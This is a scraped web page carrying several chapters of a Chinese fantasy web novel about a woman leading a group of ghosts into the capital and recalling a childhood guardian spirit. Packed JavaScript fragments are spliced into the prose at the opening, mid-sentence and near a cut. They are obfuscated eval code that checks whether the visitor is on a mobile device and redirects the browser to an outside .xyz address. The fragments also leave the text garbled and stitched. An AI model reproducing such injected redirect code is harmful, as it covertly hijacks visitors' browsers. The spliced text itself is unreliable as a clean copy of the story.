l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866788|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 黑雾散去,轩辕泓冷硬的脸出现在她面前,冷冷地注视着她。 “毕宿宫院落众多,尚有多出空置。你何须另觅他处?” 他的话语平静,却带着不容置疑的份量,像在询问,又像在挽留。 夏月明心头微凛,吸了口气,冠冕堂皇说了一大堆放眼未来的假大空的话,说得她自己都心虚了。 但轩辕泓却轻易被她这番话说服了,莫名燃了起来,满眼的豪情与赞赏。 他宽大的袖袍随意一拂,一道墨色雾气自他指尖溢出,在空中一卷,化作一张材质特殊的陈旧房契,悬浮在夏月明面前。 “你有此番壮志,我定然支持。”轩辕泓欣慰道:“此乃城外‘栖霞山’上的一处别院。虽比不得这里宏阔,却也亭台楼阁俱全,足以安顿你们。权作本座的一点支持。” “多谢宫主!”夏月明连忙双手接过那房契,心里对轩辕泓又多了几分内疚和感激。 此鬼,霸道,好骗,易燃。 轩辕泓临走前,目光也被孟婆吸引,孟婆知道他是夏月明的老大,象征性朝他点头致意,轩辕泓竟也未觉得有何不对,朝她点头回礼后,化作黑雾离去。 半个时辰后他才反应过来,那个新来的没有给他行礼! 但这已是后话了。 直到深夜时分,小白、阿九、依依等鬼才带着风尘仆仆的气息和一众鬼魂回到了毕宿宫。 “姥姥!”依依小跑过来,脸上带着疲惫却安心的笑容,“总算回来了!我们把那些染了疫病的鬼暂时安置在隔壁山上的城隍庙了,那里还算干净,也够隐蔽。” 夏月明点头,温柔地拍了拍依依的肩膀:“辛苦你们了。” 她随即看向小白和阿九,小白挡在她和阿九往来的视线中间,沉稳地点头:“安置妥当。” 随后众鬼一齐看向夏月明身侧美丽而陌生的面孔。 小草惊喜地问:“姥姥,这位美女姐姐是谁啊?” “她是……”夏月明斟酌着要不要说出孟婆身份,便听孟婆笑着介绍道:“我叫荀梦,大家叫我梦姑就好,适才在路上遇见夏姑娘,决定加入她的团伙。” “是是……”夏月明连声附和,随即又忍不住纠正道:“是团队。” 团伙……听起来像要犯案的。 察觉依依神色凝重,夏月明轻轻握住她的手,简单说了小婵是半魂的事。 “梦姑的天赋是识别半魂,她会帮我们,但眼下要知道小婵的另外半魂在哪里才行。” 众鬼神色凝重,思索起与小婵的相处,但她对过往守口如瓶,连与她最亲昵的依依都毫无头绪。 这时,小草突然想起什么,不确定举手说:“小婵姐姐……可能来自京城。” 依依立刻便问:“你怎么知道?” 小草鼓起勇气,同大家讲了去千魔窟的路上发生的事。 “我当时很害怕……小婵姐姐就安慰我,说等事情结束了,要帮我找我奶奶……”他努力回忆着,语速很慢,“我跟她说,我记得家门口有棵好大的槐树,街角有个卖香香甜甜‘金翎酥’的铺子……还有,街上的人都穿得好漂亮,舅舅的朋友的衣服上有时候会有大鸟……” 他说到这儿,眼睛忽然亮了起来:“小婵姐姐听了,马上就说,那种特别特别香的‘金翎酥’,只有京城里最最热闹的东市才有!她说如果有那种穿漂亮绸缎,还印着大鸟的衣服的人来串门,多半也是在京城……她说,等解决了千魔窟的麻烦,就带我去京城,一定能找到我的奶奶……呜呜……” 话没说完,小草已经因为双重思念,哇哇大哭起来。 “京城……” 夏月明抱住小草,轻轻拍着他的背,分析道:“你说得对,小婵对京城如此熟悉,连特色小吃、街景、区域都了如指掌,她的那半魂,没准就在京城。” 帮小草寻亲的路指向京城,救小婵的希望也指向京城。两条线索在此刻交汇,仿佛上天安排好的路标一样。 不去不合适了。 夏月明帮小草擦去脸上泪痕,柔声道:“我们去京城吧。” 小草水汪汪的大眼睛里瞬间爆发出难以置信的惊喜光芒,但不等欢呼脱口而出,巨大的恐惧先如一盆冷水浇下。 他猛地扑进夏月明怀里,紧紧抱着她的脖子,哇地一声大哭出来:“呜哇——可是……可是京城有缉灵司!灵恪哥哥说过,他们的老大好厉害……而且他最讨厌鬼了……他会杀了我们的!他会把我们都杀掉的!” 一句话让众鬼的心情也沉重起来。 夏月明稳稳地抱起还在抽泣的小草,站直了身体。她的脊背挺得笔直,目光扫过一张张忧虑的鬼脸,脸上非但没有惧色,反而扬起一抹近乎张扬的笑意。 她声音清亮,带着一股冲天的意气:“怕什么!魔神都被我们变成口袋妖怪了,还怕他一个凡人?” 百闻不如一见,听三小只提了那么多遍,她对这个闵大人,还真生出几分好奇来了。 众鬼相视一笑,皆被她的意气感染。 下一秒,夏月明魂体一歪,险些栽倒在地。 她没想到,看起来豆丁大小的孩子,竟然这么沉。 64. 恰似故人 京城,天子脚下,煌煌气运汇聚之地,有缉灵司布下的天罗地网,寻常鬼物很难靠近。 为了此行顺利,夏月明决定精简队伍。 她只带小白、小草以及孟婆同行,阿九、依依和其他员工则留在栖霞山别院,负责整顿新居,发展已有的业务部门,积蓄力量。 如何混入京城? 夏月明决定故技重施。 眼下正近年关,是各地州官进京述职的日子。小白“勉为其难”再当了一回祖宗,夜里去给本地州官托了个梦,告诉他此行凶险,祸及九族,必须带上明日出现在马车里的贵人,才可化险为夷。 于是翌日启程,州官的马车里,便多出了三位“家眷”:他素未谋面的夫人、小姨子和小公子。 正是夏月明、孟婆和小草。 至于小白,马车空间有限,只能顶了车夫的位子。 一行人风尘仆仆,向着京城而去。 一路北上,越接近京城,四周的阴气就越稀薄。 休息时,小白告诉夏月明,远离京城的地方,州官对鬼束手无策,为求安宁,常常不得不与当地势力最大的鬼结盟,因而阴气旺盛。 但京城周边有缉灵司驻扎,一般的鬼不敢轻易靠近。 马不停蹄几天后,终于,巍峨高墙出现在天际线,京城到了。 城门口排起长队,士兵严查每一辆马车,手中法器和符箓闪着微光。 孟婆不动声色地挥袖,将一行人身上的鬼气彻底封印,凡间修士无法察觉异样。 轮到他们,一名士兵掀开车帘,目光犀利地扫过车内众人,随后用法器测了又测。 测完刚走,另一名站在外面盯着他们的士兵突然看向夏月明,比对着手中名册,狐疑道:“夫人年纪未免太轻,哪有三十之姿?” 夏月明微笑:“过奖过奖,保养得宜罢了。” 士兵狐疑未消,与同僚嘀咕几句,两人看了看夏月明,又看了看州官,整车人的心都悬了起来。 …… 与此同时,缉灵司总署,三张脸正苦巴巴地对着面前厚厚的检讨书发呆。 “还有两百字……”江汀浅叼着笔杆,眼神放空。 “我还有三千字……”李灵恪哀嚎,揉着发酸的手腕,“手腕都要写断了!” 角落,宁渊提笔悬停,墨迹在纸上晕开一小团阴影,神思不知飘往何处。 这时,一名司役快步进来,对着正在主位批阅文书的闵怀恕禀报:“闵大人,城门口急报!南门盘查时发现一队行迹可疑者,疑似鬼物伪装官员家眷意图混入,守城官兵正在缉拿。” 闵怀恕头也没抬,手中的朱笔在折子上利落地划下一笔:“知道了。司内人手都在外执行要务……” 他合上折子,起身,目光扫过角落里装模作样写字的三人,“李灵恪,宁渊,江汀浅。” 三人立刻抬头。 “跟我去南门看看。”闵怀恕声音平淡。 “是!”李灵恪和江汀浅瞬间活过来了,刚想蹦起来,瞥见门口守卫,又硬生生坐回去,装腔作势道:“啊?大人,我们检讨还没写完……” 闵怀恕脚步未停:“人手不足,将功补过吧。” “得令!”两人再不掩饰,抓起各自的法器就窜了出去。 宁渊慢了半拍,眉头微蹙,神色复杂地起身。 闵怀恕特地放缓脚步,与宁渊并行,低声问他:“近日见你心事重重。所虑何事?” 宁渊脚步微顿,随即露出惯常的温和浅笑:“劳大人挂心,我没事。” 闵怀恕深深看了他一眼,没有追问,只是道:“若有难处,尽可直言。我虽官职不高,护住你们还是绰绰有余。” 宁渊心头微涩,郑重颔首:“多谢大人。” 闵怀恕一行人赶到城门口时,场面已然混乱。 几个扮作仆役的恶鬼被符箓逼得现形,正与官兵缠斗嘶吼。 原本盘查夏月明马车的兵卒见状,也顾不得细究,挥手放行,提刀加入战团。 马车驶入城门后,众鬼都松了口气,面露喜色。 小白甩鞭催马,颠簸中,车帘掀开。 闵怀恕一行人恰好行来,擦肩而过时,夏月明下意识向外望去。 一张清隽不失沉稳的面容,便穿过熙攘的人群,撞进她的眼中。 时间仿佛在那一刻凝固。 其人面容、身形,与她魂牵梦绕的身影完美地重叠在了一起。 心像是被一只无形的手狠狠攥住,血液瞬间冲上头顶。 眼看马车就要彻底驶过,那个身影即将消失在视线之外。 夏月明无暇他顾,掀开车帘,跳下车厢,朝无数次出现在梦中的身影飞奔而去。 在闵怀恕疑惑转头的瞬间,在周围所有惊愕的目光中,她张开双臂, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866789|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧紧抱住了他。 “守护神!是你吗?我终于又见到你了……”她仰起头,声音带着哭腔和失而复得的激动,眼中再无其他,只有眼前这张清隽如玉的面容。 闵怀恕眉头紧锁,愕然地看着怀中女子,眼底闪过一丝被冒犯的冷意。 “你是何人?” 不等他细究,李灵恪先认出了夏月明。 他几乎未经思考便冲了上来,一把拽开了夏月明,厉声呵斥道:“哪来的疯妇!定又是被我们大人英姿迷倒的痴女!这都第几个了?还不快滚!再纠缠送你去吃牢饭!” 他一边说,一边用力将夏月明朝旁边推搡,眼神疯狂示意她快走。 江汀浅也立刻挡在闵怀恕身前,防止他发现夏月明的身份。 夏月明被推得一个踉跄,回头看去,正对上闵怀恕冷静又陌生的眼神。 较梦里那人,多了头上一束黑色抹额,亦少了许多温度。 不是他吗? 她如梦初醒,咬着唇转身,跌跌撞撞跑回马车。 小白挥鞭赶马,坐在马车里的州官已吓得脸色煞白:“姑奶奶你知不知道你刚才抱的是谁!你是不是忘了你们在偷渡啊!亲娘嘞祖宗类……我是干了什么大逆不道的事,要你们这样惩罚我啊?” 闵怀恕站在原地,看着马车消失的方向,眉头紧锁。 那女人眼中的震惊、狂喜和随之而来的巨大悲伤……太过真实,不似作伪。 还有她脱口而出的“守护神”……是何意? 他抬手,不动声色地拂了拂被触碰过的衣襟。 …… 驿馆内,门一关上,夏月明便听到诅咒的嘲讽:“哎呦呵,我还以为你多在意这些所谓的伙伴呢,没想到犯起花痴来,不管不顾了?看来所谓伙伴,也比不上一个小白脸。” “闭嘴!”小白厉声呵斥诅咒,担忧地看着脸色苍白、失魂落魄的夏月明,维护道:“主人向来谨慎,刚才一定是有原因的。” 夏月明垂头,为自己的莽撞向众鬼道歉。 孟婆静静地走到她身边,将一杯刚倒好的茶水递到夏月明手中:“月明,你与那人有何渊源吗?” 她顿了顿,补充道,“若你愿意,可以告诉我。或许我能帮你理清一二。” “嗯。”夏月明失神地点了下头:“我在我的世界见过他。不……不只见过,他是我在那里唯一的朋友。” 65. 月明的回忆 从小她就能看见别人看不见的东西。 那些东西有时候和她说一些听不懂的话,有时候只是捉弄她,把她的鞋带打结,再在她跌倒的时候,发出一阵细小的窃笑。 邻居婆婆说她是命里带煞的“鬼童”,周围的人则更直接地称她——怪胎。 六岁那年,父亲离世。监控里,他独自走进化工厂,纵身跳进池子里,被宣告自杀。 七岁那年,母亲改嫁。新家庭里,她成了“外人”,继弟总是欺负她,而母亲太忙,常常顾不上她。 她唯一的慰藉,是那个一直陪她说话的声音。他给她讲笑话,帮她辅导作业,认真听她的烦恼,并尝试帮她解决。 某天,她被继弟用玩具枪打中眼角,流了很多血后,那声音忽然具象化成一个和她差不多大的男孩,去把继弟狠狠教训了一顿。 那晚开始继弟高烧不退,继父满眼愤恨地看着她,说她“被恶灵附身”,甚至说她“克父,又来克儿”。 最终母亲被他说服,把她送去了乡下的爷爷家。 这是月明第一次见爷爷。 以前她看妈妈对爷爷态度很差,就觉得爷爷肯定欺负过妈妈,不是好人。 虽然寄人篱下,但她丝毫不给爷爷好脸色,只肯学妈妈叫他老头儿,就是不叫爷爷。 但爷爷却对她很好。 怕她吃不惯乡下的饭,常常骑车几十里去镇上给她买好吃的;她的小毛巾是家里最柔软的,搪瓷杯是最漂亮的,连晚上盖的棉被,都总会散发着阳光晒过后暖烘烘的、好闻的味道。 她夜里害怕睡不着觉,爷爷就开着灯等她睡着才去睡。 一次她半夜起床上厕所,看到爷爷坐在院子里,正和一个浮动的魂灵说话。她眼睛一亮:“老头儿,你也能看到它们?” 爷爷转过身,浑浊的眼中闪烁着巨大的惊喜:“原来你继承了咱们家的体质!” 从那天起,爷爷开始教她如何和鬼打交道,给她看有趣的法器。 他送给月明一个古朴的小铃铛,只要轻轻一晃,一个半透明的、穿着花衣裳的小女孩魂灵便笑嘻嘻地现身,跳着笨拙但欢快的舞。 只要给她鼓掌,小女孩就能一直跳下去。 还有一个桃木做的小哨子,吹响的时候,再暴躁的灵魂也会平静下来。 那些曾经让她恐惧的“影子”,在爷爷的魔法下,渐渐变成了可以沟通、甚至有些可爱的存在。 慢慢地,月明不再把乡下的家当成“临时避难所”,而是真正的“家”。 她开始和爷爷交换自己的秘密,在漫天星河下的院子里,她告诉他:“我好像有个哥哥。” 爷爷听了表情很不自然:“哥哥?” 月明笑着解释:“嗯,每次我特别难过、被人欺负后,他总会在梦里抱抱我,摸摸我的头……然后,过不了几天,欺负我的人就会倒霉。” 爷爷的身体几不可察地僵了一下,但没有多说什么。 那晚,月明起夜时,看到爷爷坐在堂屋小凳上的佝偻背影。 他低着头,肩膀微微地耸动着,月光映在他布满皱纹的脸上,折射出一道湿漉漉的痕迹。 爷爷在哭。 她立刻跑过去,问爷爷为什么哭了,爷爷却抹掉眼泪,笑着说:“我没哭。” 月明心想,一定是我总叫爷爷老头儿,爷爷伤心了。 她哭着给爷爷道歉:“爷爷,爷爷,你别哭了,对不起爷爷。” 爷爷瞪大眼睛,满眼惊喜、难以置信地问她:“你叫我什么?” “爷爷!以后我都叫你爷爷……” 祖孙俩在寂静的月光下相拥而泣,所有的芥蒂、疏离,都被泪水冲刷殆尽。 那天爷爷看着众星环月的夜空,告诉月明:“你确实有个哥哥,他叫星河,他就像那满天的星星守护月亮一样,守护着你。” 后来,月明知道了那个沉甸甸的真相。 在她出生前,爷爷已是名震四方的捉鬼大师,也因此结下不少仇怨。 一只恶毒的厉鬼,以生命为代价,给即将出生的月明下了死咒——“夏家那个孩子,出生即死亡。” 为了让她活着,她出生的那一刻,年仅十岁的哥哥星河,那个本该拥有灿烂未来的少年,毅然决然地选择了医院最高的楼顶,纵身一跃。 他用自己鲜活的生命,替妹妹顶住了那必死的诅咒。 ——她出生了,哥哥死了,夏家的孩子出生即死亡。 诅咒以这种方式应验,月明活了下来。 爷爷听从哥哥的心愿,回收哥哥的灵魂,放在魂器挂坠中,送给了月明。 所以从小,哥哥一直陪着她。 但哥哥的魂力不稳,并不能经常现身,月明握着小小的魂器,却感觉沉重无比,心里难过极了。 愧疚令她无数次质疑自己,最终在爷爷和哥哥的耐心开导下,她下定决心,要连带哥哥的那一份,好好生活。 …… 寒假结束,为了月明的学习成绩,母亲把她接回了城里。 继父和继弟的针对让她痛苦,为了不让夹在中间的母亲为难,十岁的月明提出了一个让大人惊愕的要求:她想自己搬出去住。 僵持了几个月后,母亲终于同意,在离家不远处给她租了一个小小的单间。 夏月明小小年纪,就开始了和哥哥的独立生活。 在旁人看来,这个瘦小的女孩总是自言自语,带着一种奇异的乐观:“今天要去新班级啦,会努力认识新朋友的!”“别担心,交不到朋友我也不会难过,我还有哥哥。”“牛奶还有一天就要过期了,明天一定要喝完。” 小小的她把自己照顾得很好。 她出门前,会踮起脚认真锁好房门,再伸出小手推两下,确认锁牢了才放心离开。 她的小屋收拾得干干净净,每样东西都有固定的位置。因为曾因低血糖晕倒过一次,她格外注意好好吃饭。 她时刻注意自己的学习成绩,哪一科分数低了,就会专门找时间补习。 虽然妈妈也暗中帮她打点了学校的一切,但因为身上的黑色咒印,她到初中也依然被人嫌弃欺负,说她有传染病。 她习惯了,入学前就让妈妈带她去医院开了健康证明,但是没有用,她的座位常被人泼热水“消毒”。 她努力尝试解决矛盾,但是方式有些直白,比如直接去问那个孩子,你为什么欺负我? 后来她也不在意了。世界上总要有一些孤僻的、格格不入的人吧,她想。 熬过漫长的学期,终于又到了假期,她立刻收拾东西去了爷爷家。 在爷爷家的日子是金色的。 黄昏时,爷爷会背着那个褪色的帆布包出门工作,月明就坐在老屋的门槛上,等着爷爷回来。 爷爷经常会“捡”一些鬼回家,像开盲盒一样,月明很期待看到他今天又“捡”到什么鬼。 但爷爷的世界里,也不全是好鬼。 有的坏鬼打不过爷爷,就会把心思放在他的亲人身上。 为了保护好月明,不让过去的事重演,爷爷不让她再来了。 月明不死心,每周末都还是会坐很长时间的大巴来找爷爷,然后一次次哭着被爷爷赶走。 那个像怀恕的守护神,就是爷爷在那段时间捡到的鬼。 他看到爷爷明明家里摆的都是她喜欢的东西、她的照片,却冷漠地赶走她,便留意了一下。 他似乎在为什么事迷茫着,没事就在城市上空游荡、观察、思考。 直到有一天,路过月明学校时,听到她的哭喊。 他循声飘近,穿过墙壁,看到了角落里瑟瑟发抖、满脸泪痕的女孩。 那阵子哥哥的灵魂在休眠期,一入夜就会有坏心的鬼缠上她,她几乎要绝望了。 他认出了她,意念微动,那沉重的门锁便“咔哒”一声,轻轻弹开了。 夜风带着霞光,从门缝涌进来,光影潺潺,照亮了门口飘然伫立的身影。 男人穿着一身古老而雅致的月白长衫,衣角绣着清疏竹叶,眉眼温润,乌发如墨,身负霞光,仿佛画里走出的神明。 她看呆了,忘记了哭泣,仰着小脸,痴痴地看着眼前如梦似幻的景象,好一会儿才找回声音,带着浓重的鼻音小声说:“……谢谢你。” 他微微一怔,眼中掠过一丝讶异:“你能看见我?” 随即了然,唇角勾起一丝极淡的笑意,“也是,毕竟是那老头的孙女……” 他声音清朗温和,像山涧清泉,“快回家吧,天要黑了。” “嗯!”她转头跑出储藏室,忍不住回头又再望他一眼,风吹动他衣角,他就那么静静站着,已美得让人移不开眼睛。 几天后的一个傍晚,夏月明做完值日,离校时天色已深。 那些白日蛰伏的东西在黑暗中活跃起来,扭曲的影子在路边蠕动,发出窸窸窣窣、令人毛骨悚然的声音。 她的双腿忍不住颤抖,步伐越来越沉。 就在这时,熟悉的、温和而清晰的声音在她头顶响起:“别怕,我在。” 是他! 她欣然抬头,便见星空之下,他正横悬于夜幕之中,身影轻灵如风,衣袂翻飞,宛如游龙穿云,静静盘旋在她的上方。 那天送她回家后,他终究放心不下,悄悄跟到她的小屋外,恰巧撞见几只凶戾游魂围堵她。他没有现身,只是轻描淡写地一挥袖,便将那些恶鬼打散。 自那以后,他几乎每天都会在她放学的时间,飞到学校附近,看她是否安全离开。 他的出现让她不再害怕。 她背着书包,踩着影子,轻快地走在寂静而昏暗的巷子里。 高空之上,他悄然随行,身姿如雾如风,衣袂轻扬,乌发在星辉中着光,仿佛夜色为他让路。 她时不时抬起头,望向夜空。 他便低下头,看她一眼,唇角扬起一个浅浅的笑。那一笑像星星,闪烁在她往后无数个独行的夜晚。 从那以后,她竟暗暗期待起值日和晚归的日子。 因为只有天色将暗未暗之时,她才会再次遇见他。 某次同行时,她鼓起勇气,从口袋里掏出一根特地为他准备的棒棒糖,朝天空递去。 他愣了一下,没有立刻去接,笑着指了指不远处的摄像头,对她做了个“嘘”的手势。 她立刻会意,摄像头是拍不到他的,但如果拍到她和空气互动,恐怕也会让人觉得奇怪,他不想给她带来麻烦。 于是她拐进一条没有监控的僻静小巷,下一秒,清风掠过,他缓缓落下,眼中漾着暖意,俯身小心翼翼地、珍重地收下那根棒棒糖,认真道:“谢谢。” 他那时的笑容,在她心里比糖果还要甜暖。 …… 这一年的寒假,她没法去爷爷家,不得不和妈妈一起过春节。 除夕夜,她躲在房间,不想出门面对不属于自己的家。 这时她听见窗户被轻轻扣响,起床拉开窗帘,就看到那个清隽的身姿,正悬立在窗外,在他身后,夜色如墨,朵朵烟花绽开。 她欣喜地打开窗户,却发现还有一层不能打开的纱窗,没法请他进来。 正懊恼着,看见他轻轻笑了,才反应过来,他是鬼,不需要打开纱窗也可以穿墙进来。 但他并未进来,只将手里一个红包递给她:“老头儿给你的。” “爷爷?!”夏月明欣喜地接过红包,一想到过年无法在爷爷身边,眼圈忍不住红了。 这时她听见妈妈在客厅喊她吃年夜饭。 他看到他脸上的愁闷,问她:“不想出去吗?” 她点头。 他问:“为什么?” 她想了想,说:“和他们吃饭,要笑,我总是笑不出来,惹大家不高兴。” 他笑了下,说:“走吧,我陪你去。” 他没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她忽然上前一步,伸出小小的手臂,轻轻地抱住了他冰冷的魂体。 在他愣住的时刻,她松开手,仰起脸,眼神清澈而坚定,带着全然的信任和支持,对他说:“那就去做吧!你不会没有朋友的,因为从现在起,我就是你的朋友。永远的朋友!” 儿童稚嫩而诚恳的话语,像清晨的阳光,穿透了他心中积郁已久的阴霾。 他看着她,释然一笑,而后郑重地说:“谢谢你,我的……好朋友。” 那之后,月明知道了他有必须奔赴的使命,他每天在城市遨游,也并非漫无目的。 于是她懂事地对他说:“守护神,你晚上不用再保护我啦。我会很早就回家,把自己照顾得好好的,你去做对你很重要的事吧。” 他笑着拍了下她的脑袋,然后点头。 她想,他应该不会再来了。 几天后老师拖堂,她离开学校时又已是星斗满天。 她习惯性地抱紧书包,闷头冲进夜色中。 奇怪的是,一路走来,却没看到那些渗人的鬼影。 她疑惑又期待地抬起头,果然,在璀璨的星河之下,一个熟悉的身影正悠然徜徉,月白的长衫在夜风中轻舞。 他似乎察觉到她的目光,低下头,隔着遥远的距离,再次对她露出了那个温暖的笑容。 原来,他一直都在。 但天下没有不散的宴席,分别之日还是到了。 在一个晚霞漫天的傍晚,他飘落在她回家必经的小公园里,身影在夕阳的金辉中显得有些透明。 “好朋友,我要走了。”他的声音依旧温和,“去做那件我必须做的事。” 她的心瞬间被巨大的失落覆盖,但她知道自己应该为他开心,于是她用力吸了吸鼻子,把即将涌出的泪水逼了回去,低下头,在旧书包里摸索了好一会儿,掏出一大把五颜六色的棒棒糖,全部捧给他:“嗯!祝你成功!这些,送给你。” 她声音哽咽,脸上却努力挤出笑容,晚霞映红了她倔强的小脸。 他看着她手中那堆象征着孩子最真挚心意的糖果,再看看她明明想哭却拼命忍住的样子,珍而重之地接过了所有的棒棒糖。 “谢谢。” 然后,他最后一次在夜空下,送她回家。 她以为再也见不到他了,直到次日,她在睡梦中被一群恶鬼掳走。 ——她曾因哥哥的牺牲,承受过一次死亡诅咒却幸存下来,她的身体因此成了滋养传说中“咒皇”复苏的绝佳容器。 在一个阴森可怖的废弃祭坛上,厉鬼们将一万种源自世间最恶毒、最绝望的“死咒”注入她幼小的身体。 每一道诅咒烙印在身上,都带来撕裂灵魂般的剧痛。她小小的身体在无数黑气的缠绕下剧烈抽搐,意识被拖入无边的黑暗中。 彻底沉沦的最后一瞬,她再次看到了他的身影。 愤怒令他不再是往日温润的样子,他周身奔涌着杀伐之气,原本清俊的面容上布满了狰狞的暗红色疤痕,眼神冰冷锐利,像从九幽地狱爬出的修罗般。 她想要呼喊他,用尽全身力气也未喊出,整个人失去了意识。 再睁眼已是很多天后了。 她躺在爷爷家温暖的小床上,爷爷守在床边,仿佛一夜之间又老了十岁。 她身上的咒印,比以前多了十几倍,很长一段时间,她都不敢看自己的身体、不敢照镜子。 而守护神和哥哥,永远消失在她的世界了。 爷爷告诉他,那天天门大开,是他回到自己世界的唯一机会,为了救她,他险些错过时机。 哥哥的魂体在人间盘桓太久,已到极限,爷爷便将他托付给他,希望在他的世界里,能为哥哥找到一线生机。 她这才知道,他来自另一个世界,也回到了另一个世界。 但他们并未缺席她往后的人生。由于她过分想念他们,经常会幻想他们参与了自己人生的重大时刻,这些幻想和记忆混在一起,让她觉得,他们一直陪着自己。 无论是考取心仪的大学、第一次独自远行、还是面对工作上的重大挑战,在那些紧张、激动或孤独的时刻,她总会下意识抬起头望向夜空,仿佛星河下,那个熟悉的身影仍守护着她,而那片星河,就是哥哥的眼睛。 66. 宁渊的秘密 夏月明讲完与守护神有关的过往后,黄昏的余烬正好染红窗棂,驿馆内一片沉寂。 小白坐在她身侧,神色紧绷,想说些什么安慰她,却又不知该如何用三言两语,轻飘飘地拂开她过往所经历的阴霾,只能懊恼地低下了头。 “噗哈哈哈~”一声幸灾乐祸的嗤笑不合时宜地响起,诅咒的鬼脸在夏月明颈侧若隐若现,贱兮兮地看向小白:“小鸭子,你主人心里藏着别的男人,你不该酸得冒泡吗?怎么反倒一副惆怅的样子?” 小白抬头瞪向诅咒,拳头紧了又松,松了又紧,最终因为诅咒藏在夏月明身上,只得忍住了。 他冷冷地盯着诅咒的脸,压抑着怒火道:“主人会经历这些,都是因为你!你是她苦难的根源,还有脸说风凉话?我若是你,早羞愧地钻回冥泥里自行了断了。” 他不是没吃醋,恋鬼的本能令醋意像无数细小的毒蚁,在他心底啃噬。 但他知道,自己没资格吃醋——在她最需要守护的岁月里,他在哪里? 他有什么资格,去嫉妒那个真正救赎了她的人? 这份因强行压抑本能而滋生的烦闷,只能发泄在诅咒这个现眼包身上。 “哇——!”小草后知后觉地哇哇大哭起来,小脸皱成一团:“我也想我姥姥,她对我也特别好……呜哇——” 夏月明心中一软,将他揽入怀中,轻抚他颤抖的背脊:“小草是个勇敢坚强的好孩子,天一黑,我们就去找姥姥,好不好?” 小草抽噎着,用力点头,胡乱地抹去脸上的眼泪和鼻涕。 孟婆斜倚在窗边,为了隐藏身份,她穿着素色的衣衫,在霞光的浸染下,比红衣少了几分凌厉,多了几分温婉。 作为冥界神官,她只需一念,便能知晓这孩子的前缘来处。 但这并非她的任务,她是黄泉引路人,无权干预生魂既定的轨迹。 她垂下眼眸,神情淡然却藏着一丝悲悯,轻声转移了话题:“你说的那个世界,唯有天界法器‘时间之轮’才能通往。据我所知,在你来之前,时间之轮已被启动过三次。” 夏月明惊喜道:“所以守护神确实有可能是从这里过去的,也确实有可能……是闵怀恕。” 孟婆点头:“有能力启动时间之轮,甚至携人穿梭的,目前唯有带你来到这里,又在魔窟救了你的那位,大家叫他玉魂,你若见到他,可以一问。” 夏月明眼神一黯:“玉魂说过,千魔窟是他最后一次救我。现在,我不知道该怎么找到他。” “若寻不到玉魂……”孟婆的目光转向窗外渐沉的暮色,“那就只能去问闵怀恕本人了。” “千万不可冒险。”沉默在侧的小白,忍不住严肃提醒道:“别忘了闵怀恕的身份,缉灵司首座,人间修罗,嫉鬼如仇。烟灭在他指掌间的亡魂,恐怕比忘川河底的沉沙还要多,贸然去问,无异于自投罗网。”他深吸一口气,转向夏月明,柔声劝告:“主人,若他并非您的守护神呢?打草惊蛇,咱们此行的路,就彻底断了。” “你说得对……”夏月明失落垂眸。 在她怀中抽噎着的小草闻言眼睛一亮,急急道:“我们可以问问灵恪哥哥!他是那个闵大人的手下,他肯定知道!” “有机会再问吧。”夏月明已理好思绪,摸了摸小草的头:“我们此行的主要任务是找到你的家和依依的半魂,其他事都先放一边,免生枝节。” 感受到主人身上那份熟悉的、令人安心的冷静终于回归,小白欣慰地松了口气。 孟婆凝视着夏月明的眼中,也掠过一丝赞许。 …… 夜色沉沉,众鬼避着哨兵巡逻的方向悄悄行动,找寻小草记忆中的那家糕点铺。 但京城正值年终述职,巡防森严,街头巷尾到处都是穿着银灰制服的缉灵司捕灵人。 “咒皇,帮我看下周围哪段路比较安全。”夏月明在一个路口低声问。 鬼穿墙需耗魂力,京城翻新后,多数建筑也用了防鬼穿透的材质,因而他们只能乖乖绕路走。 诅咒在她耳畔懒洋洋地回应:“探了也白探。方圆二十里内没守卫又怎么样?没准下一个二十里就全是守卫,到时候还得返回,跟玩迷宫一样。” 他说得不无道理,夏月明忍不住叹了句:“要是阿九在就好了……” 话音未落,身侧的小白身体微微一僵,清澈的眸子涌起浓得化不开的阴翳和……受伤? 他紧抿着唇,一言不发,默默走入夜色中离去。 “小白?你去哪儿?”夏月明愕然,一边询问一边追上去,回答她的只有嗖嗖夜风。 “他速度这么快的?” 诅咒在夏月明耳边爆发出夸张的怪笑:“哈哈哈!醋坛子彻底打翻咯~香飘十里哟!” “哪有醋坛子?”小草一脸茫然,四处张望,夏月明和孟婆也对他的玩笑没有反应。 “愚蠢!无趣!不解风情!”诅咒忍不住骂了起来,“不懂八卦的鬼,和死了有什么区别?哦,忘了,你们本来就死了。” 说完他索然无味般长叹一口气,惆怅道:“我也有点想那个八卦的紫乌鸦了,好歹能尿到一个壶里……” 不多时,小白身影重现。他神情冷峻,神色依旧郁郁,但手中多出一张薄纸。 他将纸塞给夏月明,抿着嘴未置一言。 夏月明将纸展开,眸色瞬间亮了:“缉灵司夜巡的详细路线图!”她欣喜地仰头看向小白,“你怎么拿到的?” 小白别开脸,声音闷闷的:“这世上,不是只有‘空穴来风’一种探查能力。” 说罢便提步,按照图纸上的安全路线行去。 众鬼来不及多问,欣然跟上。 诅咒在夏月明耳边快笑疯了:“哈哈哈哈哈有人懂我笑点吗?小鸭子还傲娇上了,有醋真吃,有事儿真上。” 虽依然无人搭话,但他已学会了自娱自乐。 行至一条堆满杂物的暗巷深处,巷口传来压抑刻毒的训斥声,吸引了他们的注意。 